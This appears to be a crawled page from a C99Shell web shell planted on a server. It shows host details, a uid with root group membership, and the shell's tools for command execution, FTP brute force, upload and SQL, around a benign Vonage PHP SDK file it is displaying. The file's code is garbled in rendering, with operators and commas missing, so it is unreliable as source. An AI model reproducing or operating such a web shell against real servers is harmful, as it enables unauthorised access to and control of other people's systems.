!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/vendor/vonage/client-core/src/User/   drwxr-xr-x
Free 28.84 GB of 117.98 GB (24.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     User.php (4.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Vonage Client Library for PHP
 *
 * @copyright Copyright (c) 2016-2020 Vonage, Inc. (http://vonage.com)
 * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0
 */

declare(strict_types=1);

namespace 
Vonage\User;

use 
JsonSerializable;
use 
Laminas\Diactoros\Request;
use 
Psr\Http\Client\ClientExceptionInterface;
use 
Psr\Http\Message\ResponseInterface;
use 
Vonage\Client\ClientAwareInterface;
use 
Vonage\Client\ClientAwareTrait;
use 
Vonage\Client\Exception as ClientException;
use 
Vonage\Entity\EntityInterface;
use 
Vonage\Entity\JsonResponseTrait;
use 
Vonage\Entity\JsonSerializableTrait;
use 
Vonage\Entity\JsonUnserializableInterface;
use 
Vonage\Entity\NoRequestResponseTrait;

use function 
json_decode;

/**
 * @deprecated This will be removed in a future version, as this API is still considered Beta
 */
class User implements EntityInterfaceJsonSerializableJsonUnserializableInterfaceClientAwareInterface
{
    use 
NoRequestResponseTrait;
    use 
JsonSerializableTrait;
    use 
JsonResponseTrait;
    use 
ClientAwareTrait;

    protected 
$data = [];

    public function 
__construct($id null)
    {
        
$this->data['id'] = $id;
    }

    
/**
     * @param $name
     *
     * @return $this
     */
    
public function setName($name): self
    
{
        
$this->data['name'] = $name;

        return 
$this;
    }

    public function 
getId()
    {
        return 
$this->data['id'];
    }

    public function 
__toString(): string
    
{
        return (string)
$this->getId();
    }

    
/**
     * @throws ClientException\Exception
     * @throws ClientException\Request
     * @throws ClientException\Server
     * @throws ClientExceptionInterface
     *
     * @return $this
     */
    
public function get(): self
    
{
        
$request = new Request(
            
$this->getClient()->getApiUrl() . Collection::getCollectionPath() . '/' $this->getId(),
            
'GET'
        
);

        
$response $this->getClient()->send($request);

        if ((int)
$response->getStatusCode() !== 200) {
            throw 
$this->getException($response);
        }

        
$data json_decode($response->getBody()->getContents(), true);
        
$this->jsonUnserialize($data);

        return 
$this;
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws ClientException\Exception
     * @throws ClientException\Request
     * @throws ClientException\Server
     */
    
public function getConversations()
    {
        
$response $this->getClient()->get(
            
$this->getClient()->getApiUrl() . Collection::getCollectionPath() . '/' $this->getId() . '/conversations'
        
);

        if ((int)
$response->getStatusCode() !== 200) {
            throw 
$this->getException($response);
        }

        
$data json_decode($response->getBody()->getContents(), true);
        
$conversationCollection $this->getClient()->conversation();

        return 
$conversationCollection->hydrateAll($data);
    }

    
/**
     * @return array|mixed
     */
    
#[\ReturnTypeWillChange]
    public function 
jsonSerialize()
    {
        return 
$this->data;
    }

    
/**
     * @return void|null
     */
    
public function jsonUnserialize(array $json): void
    
{
        
$this->data $json;
    }

    public function 
getRequestDataForConversation(): array
    {
        return [
            
'user_id' => $this->getId()
        ];
    }

    
/**
     * @throws ClientException\Exception
     *
     * @return ClientException\Request|ClientException\Server
     */
    
protected function getException(ResponseInterface $response)
    {
        
$body json_decode($response->getBody()->getContents(), true);
        
$status = (int)$response->getStatusCode();

        
// This message isn't very useful, but we shouldn't ever see it
        
$errorTitle $body['code'] ?? 'Unexpected error';

        if (isset(
$body['description']) && $body['description']) {
            
$errorTitle $body['description'];
        }

        if (isset(
$body['error_title'])) {
            
$errorTitle $body['error_title'];
        }

        if (
$status >= 400 && $status 500) {
            
$e = new ClientException\Request($errorTitle$status);
        } elseif (
$status >= 500 && $status 600) {
            
$e = new ClientException\Server($errorTitle$status);
        } else {
            
$e = new ClientException\Exception('Unexpected HTTP Status Code');
            throw 
$e;
        }

        return 
$e;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0268 ]--